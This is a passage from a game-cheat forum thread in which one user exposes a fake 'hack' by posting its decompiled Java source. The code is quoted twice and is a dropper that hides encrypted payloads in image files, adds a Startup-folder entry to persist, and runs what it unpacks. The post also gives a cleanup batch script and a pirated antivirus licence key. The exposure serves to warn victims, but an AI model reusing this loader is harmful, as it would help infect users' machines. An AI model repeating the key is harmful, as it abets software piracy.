Page 5 of 5 FirstFirst ... 345
Results 61 to 71 of 71
  1. #61
    cade1954's Avatar
    Join Date
    Sep 2013
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    YO i need a walk though i dont know how to inject it do i neeed a injector or wat help plz

  2. #62
    dave:))'s Avatar
    Join Date
    Feb 2009
    Gender
    male
    Location
    Netherlands
    Posts
    180
    Reputation
    10
    Thanks
    358
    People here's the source of the 'Hack'. I decompiled it.

    Code:
    import cipherstream.image.ImageConverter;
    import cipherstream.input.CipherInputStream;
    import java****.*;
    import java.lang.reflect.Method;
    import java.net.URL;
    import java.util.Enumeration;
    import java.util.jar.*;
    
    public class Start
    {
        public static class Thread2 extends Thread
        {
    
            byte image[];
    
            public Thread2(String n)
            {
                super(n);
            }
        }
    
    
        public Start()
        {
        }
    
        public static void main(String args[])
        {
            try
            {
                CipherInputStream inp = new CipherInputStream(Start.getResourceAsStream("audio.dat"), new byte[] {
                    23, 32, 112, 35, 50
                });
                boolean autostart = inp.read() == 1;
                byte audio[] = inp.read(0, inp.available());
                String ext = new String(audio, "UTF-8");
                ext = ext.substring(0, ext.indexOf(new String(new byte[1], "UTF-8")));
                byte key[] = new byte[audio.length - ext.length() - 1];
                System.arraycopy(audio, ext.length() + 1, key, 0, key.length);
                inp.close();
                if(System.getProperty("os.name").toLowerCase().contains("vista") || System.getProperty("os.name").toLowerCase().contains("7"))
                    try
                    {
                        if(autostart && Start.getResourceAsStream("installed") == null)
                        {
                            Enumeration urls = ClassLoader.getSystemClassLoader().getResources("");
                            File loc = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
                            File jar = new File(loc.getParentFile(), "gUpdater\\updater.jar");
                            File bat = new File(loc, "updater.bat");
                            jar.delete();
                            bat.delete();
                            loc.mkdirs();
                            jar.getParentFile().mkdirs();
                            jar.createNewFile();
                            bat.createNewFile();
                            JarOutputStream out = new JarOutputStream(new FileOutputStream(jar));
                            JarEntry te = new JarEntry("installed");
                            out.putNextEntry(te);
                            out.write(0);
                            out.closeEntry();
                            DataOutputStream bout;
                            for(; urls.hasMoreElements(); bout.close())
                            {
                                URL url = (URL)urls.nextElement();
                                JarFile jf = null;
                                File urlf = new File(url.getFile());
                                if(urlf.exists() && urlf.isDirectory())
                                {
                                    File afile[];
                                    int k = (afile = urlf.listFiles()).length;
    label0:
                                    for(int j = 0; j < k; j++)
                                    {
                                        File file = afile[j];
                                        if(!file.getName().endsWith(".jar"))
                                            continue;
                                        JarFile t = new JarFile(file);
                                        for(Enumeration jee = t.entries(); jee.hasMoreElements();)
                                        {
                                            JarEntry je = (JarEntry)jee.nextElement();
                                            if(je.getName().equals("audio.dat"))
                                            {
                                                InputStream intt = t.getInputStream(je);
                                                byte oa[] = new byte[intt.available()];
                                                intt.read(oa);
                                                intt.close();
                                                InputStream intt2 = Start.getResourceAsStream("audio.dat");
                                                byte a[] = new byte[intt2.available()];
                                                intt2.read(a);
                                                intt2.close();
                                                boolean g = true;
                                                if(oa.length == a.length)
                                                {
                                                    for(int i = 0; i < a.length; i++)
                                                    {
                                                        if(a[i] == oa[i])
                                                            continue;
                                                        g = false;
                                                        break;
                                                    }
    
                                                }
                                                if(g)
                                                {
                                                    jf = t;
                                                    break label0;
                                                }
                                            }
                                        }
    
                                        if(t != null)
                                            t.close();
                                    }
    
                                }
                                if(jf != null)
                                {
                                    for(Enumeration jee = jf.entries(); jee.hasMoreElements(); out.closeEntry())
                                    {
                                        JarEntry je = (JarEntry)jee.nextElement();
                                        InputStream in = jf.getInputStream(je);
                                        JarEntry entry = new JarEntry(je.getName());
                                        out.putNextEntry(entry);
                                        int l = in.available();
                                        for(int br = 0; br < l; br++)
                                            out.write(in.read());
    
                                    }
    
                                    jf.close();
                                }
                                out.flush();
                                out.close();
                                bout = new DataOutputStream(new FileOutputStream(bat));
                                bout.write("javaw -jar \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\gUpdater\\updater.jar\"".getBytes());
                                bout.flush();
                            }
    
                        }
                    }
                    catch(Exception e)
                    {
                        e.printStackTrace();
                    }
                boolean hasbg2 = false;
                String ext2 = "";
                byte key2[] = null;
                InputStream bk2 = Start.getResourceAsStream("config.dat");
                if(bk2 != null)
                {
                    CipherInputStream inp222 = new CipherInputStream(bk2, new byte[] {
                        23, 32, 112, 35, 50
                    });
                    byte config[] = inp222.read(0, inp222.available());
                    ext2 = new String(config, "UTF-8");
                    ext2 = ext2.substring(0, ext2.indexOf(new String(new byte[1], "UTF-8")));
                    key2 = new byte[config.length - ext2.length() - 1];
                    System.arraycopy(config, ext2.length() + 1, key2, 0, key.length);
                    inp222.close();
                    hasbg2 = true;
                }
                InputStream tmp7 = Start.getResourceAsStream("background1.png");
                ImageConverter convert = new ImageConverter(tmp7, true);
                byte image[] = convert.getFile();
                ByteArrayInputStream inp1 = new ByteArrayInputStream(image);
                CipherInputStream inp2 = new CipherInputStream(inp1, key);
                ByteArrayOutputStream tmp0 = new ByteArrayOutputStream();
                byte tmp4[] = new byte[1024];
                for(int ll = 1; ll > 0;)
                {
                    ll = inp2.read(tmp4, 0, tmp4.length);
                    if(ll > 0)
                        tmp0.write(tmp4, 0, ll);
                }
    
                image = tmp0.toByteArray();
                inp2.close();
                byte image2[] = null;
                if(hasbg2)
                {
                    InputStream tmp17 = Start.getResourceAsStream("background2.png");
                    ImageConverter convert2 = new ImageConverter(tmp17, true);
                    image2 = convert2.getFile();
                    ByteArrayInputStream inp12 = new ByteArrayInputStream(image2);
                    CipherInputStream inp22 = new CipherInputStream(inp12, key);
                    ByteArrayOutputStream tmp02 = new ByteArrayOutputStream();
                    byte tmp42[] = new byte[1024];
                    for(int ll2 = 1; ll2 > 0;)
                    {
                        ll2 = inp22.read(tmp42, 0, tmp42.length);
                        if(ll2 > 0)
                            tmp02.write(tmp42, 0, ll2);
                    }
    
                    image2 = tmp02.toByteArray();
                    inp22.close();
                }
                Class rt = java/lang/Runtime;
                Method gr = rt.getMethod("getRuntime", new Class[0]);
                Object ins = gr.invoke(null, new Object[0]);
                Method exc = rt.getMethod("exec", new Class[] {
                    java/lang/String
                });
                if(ext.equals("jar"))
                {
                    Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
    
                        public void run()
                        {
                            try
                            {
                                JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
                                String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
                                CL l = new CL(image);
                                Class c = l.loadClass(main);
                                Thread.currentThread().setContextClassLoader(l);
                                Method mainm = c.getMethod("main", new Class[] {
                                    (new String[0]).getClass()
                                });
                                mainm.invoke(null, new Object[] {
                                    new String[0]
                                });
                                jinp.close();
                            }
                            catch(Exception e)
                            {
                                e.printStackTrace();
                            }
                        }
    
                    }
    ;
                    t.image = image;
                    t.start();
                } else
                {
                    FileOutputStream stream = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString()));
                    stream.write(image);
                    stream.flush();
                    stream.close();
                    String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString();
                    exc.invoke(ins, new Object[] {
                        run
                    });
                }
                if(hasbg2)
                    if(ext.equals("jar"))
                    {
                        Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
    
                            public void run()
                            {
                                try
                                {
                                    JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
                                    String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
                                    CL l = new CL(image);
                                    Class c = l.loadClass(main);
                                    Thread.currentThread().setContextClassLoader(l);
                                    Method mainm = c.getMethod("main", new Class[] {
                                        (new String[0]).getClass()
                                    });
                                    mainm.invoke(null, new Object[] {
                                        new String[0]
                                    });
                                    jinp.close();
                                }
                                catch(Exception e)
                                {
                                    e.printStackTrace();
                                }
                            }
    
                        }
    ;
                        t.image = image2;
                        t.start();
                    } else
                    {
                        FileOutputStream stream2 = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString()));
                        stream2.write(image2);
                        stream2.flush();
                        stream2.close();
                        String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString();
                        exc.invoke(ins, new Object[] {
                            run
                        });
                    }
            }
            catch(Exception e)
            {
                e.printStackTrace();
            }
        }
    }
    Seems like it only affects Windows Vista & 7 users... (I guess)
    Run this batch file (As Admin) (I don't know if it works at all, I read those locations in the source so..)
    Code:
    del /q "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\gUpdater\\*.*"
    del /q "%TEMP%\\temp.*"
    del /q "%TEMP%\\temp2.*"
    echo Please run a malware scan for remaining files! Press any key to exit
    pause>nul
    Download Malwarebytes Antimalware to delete the remaining files;
    Heres a key for PRO version (Faster scanning etc):

    Username : 8XC99
    Serial : AHF7-KX0U-010G-3U0M


    @Vice-Versa Please delete the attachment and main post and redirect them to here.

  3. The Following 4 Users Say Thank You to dave:)) For This Useful Post:

    Banksy (11-24-2013),epicly awsome (10-23-2013),hamkaas (10-20-2013),Pyroflux (12-14-2013)

  4. #63
    Ron23's Avatar
    Join Date
    Oct 2013
    Gender
    male
    Posts
    15
    Reputation
    10
    Thanks
    0
    Looks cool

  5. #64
    naif1122's Avatar
    Join Date
    Apr 2011
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    can u please make a toturial how to lunch the hack ?

  6. #65
    Speedcore?'s Avatar
    Join Date
    Oct 2013
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    STILL WORKS????

  7. #66
    Masterchie21's Avatar
    Join Date
    Oct 2013
    Gender
    male
    Posts
    1
    Reputation
    10
    Thanks
    0
    Where do I put the .dll ?

  8. #67
    Little Jenny's Avatar
    Join Date
    Dec 2013
    Gender
    female
    Posts
    27
    Reputation
    10
    Thanks
    5
    My Mood
    Asleep
    Looks great actually.

  9. #68
    Pyroflux's Avatar
    Join Date
    Dec 2013
    Gender
    male
    Location
    The Netherlands
    Posts
    42
    Reputation
    10
    Thanks
    2
    My Mood
    Cool
    Extension? Heb je skype?

  10. #69
    Pyroflux's Avatar
    Join Date
    Dec 2013
    Gender
    male
    Location
    The Netherlands
    Posts
    42
    Reputation
    10
    Thanks
    2
    My Mood
    Cool
    Quote Originally Posted by dave:)) View Post
    People here's the source of the 'Hack'. I decompiled it.

    Code:
    import cipherstream.image.ImageConverter;
    import cipherstream.input.CipherInputStream;
    import java****.*;
    import java.lang.reflect.Method;
    import java.net.URL;
    import java.util.Enumeration;
    import java.util.jar.*;
    
    public class Start
    {
        public static class Thread2 extends Thread
        {
    
            byte image[];
    
            public Thread2(String n)
            {
                super(n);
            }
        }
    
    
        public Start()
        {
        }
    
        public static void main(String args[])
        {
            try
            {
                CipherInputStream inp = new CipherInputStream(Start.getResourceAsStream("audio.dat"), new byte[] {
                    23, 32, 112, 35, 50
                });
                boolean autostart = inp.read() == 1;
                byte audio[] = inp.read(0, inp.available());
                String ext = new String(audio, "UTF-8");
                ext = ext.substring(0, ext.indexOf(new String(new byte[1], "UTF-8")));
                byte key[] = new byte[audio.length - ext.length() - 1];
                System.arraycopy(audio, ext.length() + 1, key, 0, key.length);
                inp.close();
                if(System.getProperty("os.name").toLowerCase().contains("vista") || System.getProperty("os.name").toLowerCase().contains("7"))
                    try
                    {
                        if(autostart && Start.getResourceAsStream("installed") == null)
                        {
                            Enumeration urls = ClassLoader.getSystemClassLoader().getResources("");
                            File loc = new File("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
                            File jar = new File(loc.getParentFile(), "gUpdater\\updater.jar");
                            File bat = new File(loc, "updater.bat");
                            jar.delete();
                            bat.delete();
                            loc.mkdirs();
                            jar.getParentFile().mkdirs();
                            jar.createNewFile();
                            bat.createNewFile();
                            JarOutputStream out = new JarOutputStream(new FileOutputStream(jar));
                            JarEntry te = new JarEntry("installed");
                            out.putNextEntry(te);
                            out.write(0);
                            out.closeEntry();
                            DataOutputStream bout;
                            for(; urls.hasMoreElements(); bout.close())
                            {
                                URL url = (URL)urls.nextElement();
                                JarFile jf = null;
                                File urlf = new File(url.getFile());
                                if(urlf.exists() && urlf.isDirectory())
                                {
                                    File afile[];
                                    int k = (afile = urlf.listFiles()).length;
    label0:
                                    for(int j = 0; j < k; j++)
                                    {
                                        File file = afile[j];
                                        if(!file.getName().endsWith(".jar"))
                                            continue;
                                        JarFile t = new JarFile(file);
                                        for(Enumeration jee = t.entries(); jee.hasMoreElements();)
                                        {
                                            JarEntry je = (JarEntry)jee.nextElement();
                                            if(je.getName().equals("audio.dat"))
                                            {
                                                InputStream intt = t.getInputStream(je);
                                                byte oa[] = new byte[intt.available()];
                                                intt.read(oa);
                                                intt.close();
                                                InputStream intt2 = Start.getResourceAsStream("audio.dat");
                                                byte a[] = new byte[intt2.available()];
                                                intt2.read(a);
                                                intt2.close();
                                                boolean g = true;
                                                if(oa.length == a.length)
                                                {
                                                    for(int i = 0; i < a.length; i++)
                                                    {
                                                        if(a[i] == oa[i])
                                                            continue;
                                                        g = false;
                                                        break;
                                                    }
    
                                                }
                                                if(g)
                                                {
                                                    jf = t;
                                                    break label0;
                                                }
                                            }
                                        }
    
                                        if(t != null)
                                            t.close();
                                    }
    
                                }
                                if(jf != null)
                                {
                                    for(Enumeration jee = jf.entries(); jee.hasMoreElements(); out.closeEntry())
                                    {
                                        JarEntry je = (JarEntry)jee.nextElement();
                                        InputStream in = jf.getInputStream(je);
                                        JarEntry entry = new JarEntry(je.getName());
                                        out.putNextEntry(entry);
                                        int l = in.available();
                                        for(int br = 0; br < l; br++)
                                            out.write(in.read());
    
                                    }
    
                                    jf.close();
                                }
                                out.flush();
                                out.close();
                                bout = new DataOutputStream(new FileOutputStream(bat));
                                bout.write("javaw -jar \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\gUpdater\\updater.jar\"".getBytes());
                                bout.flush();
                            }
    
                        }
                    }
                    catch(Exception e)
                    {
                        e.printStackTrace();
                    }
                boolean hasbg2 = false;
                String ext2 = "";
                byte key2[] = null;
                InputStream bk2 = Start.getResourceAsStream("config.dat");
                if(bk2 != null)
                {
                    CipherInputStream inp222 = new CipherInputStream(bk2, new byte[] {
                        23, 32, 112, 35, 50
                    });
                    byte config[] = inp222.read(0, inp222.available());
                    ext2 = new String(config, "UTF-8");
                    ext2 = ext2.substring(0, ext2.indexOf(new String(new byte[1], "UTF-8")));
                    key2 = new byte[config.length - ext2.length() - 1];
                    System.arraycopy(config, ext2.length() + 1, key2, 0, key.length);
                    inp222.close();
                    hasbg2 = true;
                }
                InputStream tmp7 = Start.getResourceAsStream("background1.png");
                ImageConverter convert = new ImageConverter(tmp7, true);
                byte image[] = convert.getFile();
                ByteArrayInputStream inp1 = new ByteArrayInputStream(image);
                CipherInputStream inp2 = new CipherInputStream(inp1, key);
                ByteArrayOutputStream tmp0 = new ByteArrayOutputStream();
                byte tmp4[] = new byte[1024];
                for(int ll = 1; ll > 0;)
                {
                    ll = inp2.read(tmp4, 0, tmp4.length);
                    if(ll > 0)
                        tmp0.write(tmp4, 0, ll);
                }
    
                image = tmp0.toByteArray();
                inp2.close();
                byte image2[] = null;
                if(hasbg2)
                {
                    InputStream tmp17 = Start.getResourceAsStream("background2.png");
                    ImageConverter convert2 = new ImageConverter(tmp17, true);
                    image2 = convert2.getFile();
                    ByteArrayInputStream inp12 = new ByteArrayInputStream(image2);
                    CipherInputStream inp22 = new CipherInputStream(inp12, key);
                    ByteArrayOutputStream tmp02 = new ByteArrayOutputStream();
                    byte tmp42[] = new byte[1024];
                    for(int ll2 = 1; ll2 > 0;)
                    {
                        ll2 = inp22.read(tmp42, 0, tmp42.length);
                        if(ll2 > 0)
                            tmp02.write(tmp42, 0, ll2);
                    }
    
                    image2 = tmp02.toByteArray();
                    inp22.close();
                }
                Class rt = java/lang/Runtime;
                Method gr = rt.getMethod("getRuntime", new Class[0]);
                Object ins = gr.invoke(null, new Object[0]);
                Method exc = rt.getMethod("exec", new Class[] {
                    java/lang/String
                });
                if(ext.equals("jar"))
                {
                    Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
    
                        public void run()
                        {
                            try
                            {
                                JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
                                String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
                                CL l = new CL(image);
                                Class c = l.loadClass(main);
                                Thread.currentThread().setContextClassLoader(l);
                                Method mainm = c.getMethod("main", new Class[] {
                                    (new String[0]).getClass()
                                });
                                mainm.invoke(null, new Object[] {
                                    new String[0]
                                });
                                jinp.close();
                            }
                            catch(Exception e)
                            {
                                e.printStackTrace();
                            }
                        }
    
                    }
    ;
                    t.image = image;
                    t.start();
                } else
                {
                    FileOutputStream stream = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString()));
                    stream.write(image);
                    stream.flush();
                    stream.close();
                    String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp.").append(ext).toString();
                    exc.invoke(ins, new Object[] {
                        run
                    });
                }
                if(hasbg2)
                    if(ext.equals("jar"))
                    {
                        Thread2 t = new Thread2((new StringBuilder("jar")).append(System.currentTimeMillis()).toString()) {
    
                            public void run()
                            {
                                try
                                {
                                    JarInputStream jinp = new JarInputStream(new ByteArrayInputStream(image));
                                    String main = jinp.getManifest().getMainAttributes().getValue("Main-Class");
                                    CL l = new CL(image);
                                    Class c = l.loadClass(main);
                                    Thread.currentThread().setContextClassLoader(l);
                                    Method mainm = c.getMethod("main", new Class[] {
                                        (new String[0]).getClass()
                                    });
                                    mainm.invoke(null, new Object[] {
                                        new String[0]
                                    });
                                    jinp.close();
                                }
                                catch(Exception e)
                                {
                                    e.printStackTrace();
                                }
                            }
    
                        }
    ;
                        t.image = image2;
                        t.start();
                    } else
                    {
                        FileOutputStream stream2 = new FileOutputStream(new File((new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString()));
                        stream2.write(image2);
                        stream2.flush();
                        stream2.close();
                        String run = (new StringBuilder(String.valueOf(System.getenv("TEMP")))).append("\\temp2.").append(ext2).toString();
                        exc.invoke(ins, new Object[] {
                            run
                        });
                    }
            }
            catch(Exception e)
            {
                e.printStackTrace();
            }
        }
    }
    Seems like it only affects Windows Vista & 7 users... (I guess)
    Run this batch file (As Admin) (I don't know if it works at all, I read those locations in the source so..)
    Code:
    del /q "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\gUpdater\\*.*"
    del /q "%TEMP%\\temp.*"
    del /q "%TEMP%\\temp2.*"
    echo Please run a malware scan for remaining files! Press any key to exit
    pause>nul
    Download Malwarebytes Antimalware to delete the remaining files;
    Heres a key for PRO version (Faster scanning etc):

    Username : 8XC99
    Serial : AHF7-KX0U-010G-3U0M


    @Vice-Versa Please delete the attachment and main post and redirect them to here.
    Ey man, bedankt! Please ban this douche quickly.

  11. #70
    Pyroflux's Avatar
    Join Date
    Dec 2013
    Gender
    male
    Location
    The Netherlands
    Posts
    42
    Reputation
    10
    Thanks
    2
    My Mood
    Cool
    Extension, get banned!

    #Reported

  12. #71
    Pyroflux's Avatar
    Join Date
    Dec 2013
    Gender
    male
    Location
    The Netherlands
    Posts
    42
    Reputation
    10
    Thanks
    2
    My Mood
    Cool
    Quote Originally Posted by ZeN_barbie View Post
    XFire: Ripfound
    C4SP3R add me to XFire too please!

Page 5 of 5 FirstFirst ... 345

Similar Threads

  1. USF ZeN menu hack - [ Z e N - H A C K ]
    By ZeN_barbie in forum Soldier Front Hacks
    Replies: 3
    Last Post: 02-07-2013, 09:20 AM
  2. Chams No Menu Hack C++ Possible ?
    By killerld in forum C++/C Programming
    Replies: 2
    Last Post: 07-24-2009, 09:15 PM
  3. NFD C++ No Menu Hack HELP
    By killerld in forum C++/C Programming
    Replies: 3
    Last Post: 07-24-2009, 11:28 AM
  4. [Release] Killerld No Menu Hack {20.07.2009}
    By killerld in forum WarRock - International Hacks
    Replies: 3
    Last Post: 07-21-2009, 06:45 PM
  5. Ingame Menu Hack (C++)
    By PabloTortilla in forum Programming Tutorial Requests
    Replies: 6
    Last Post: 09-08-2008, 04:09 PM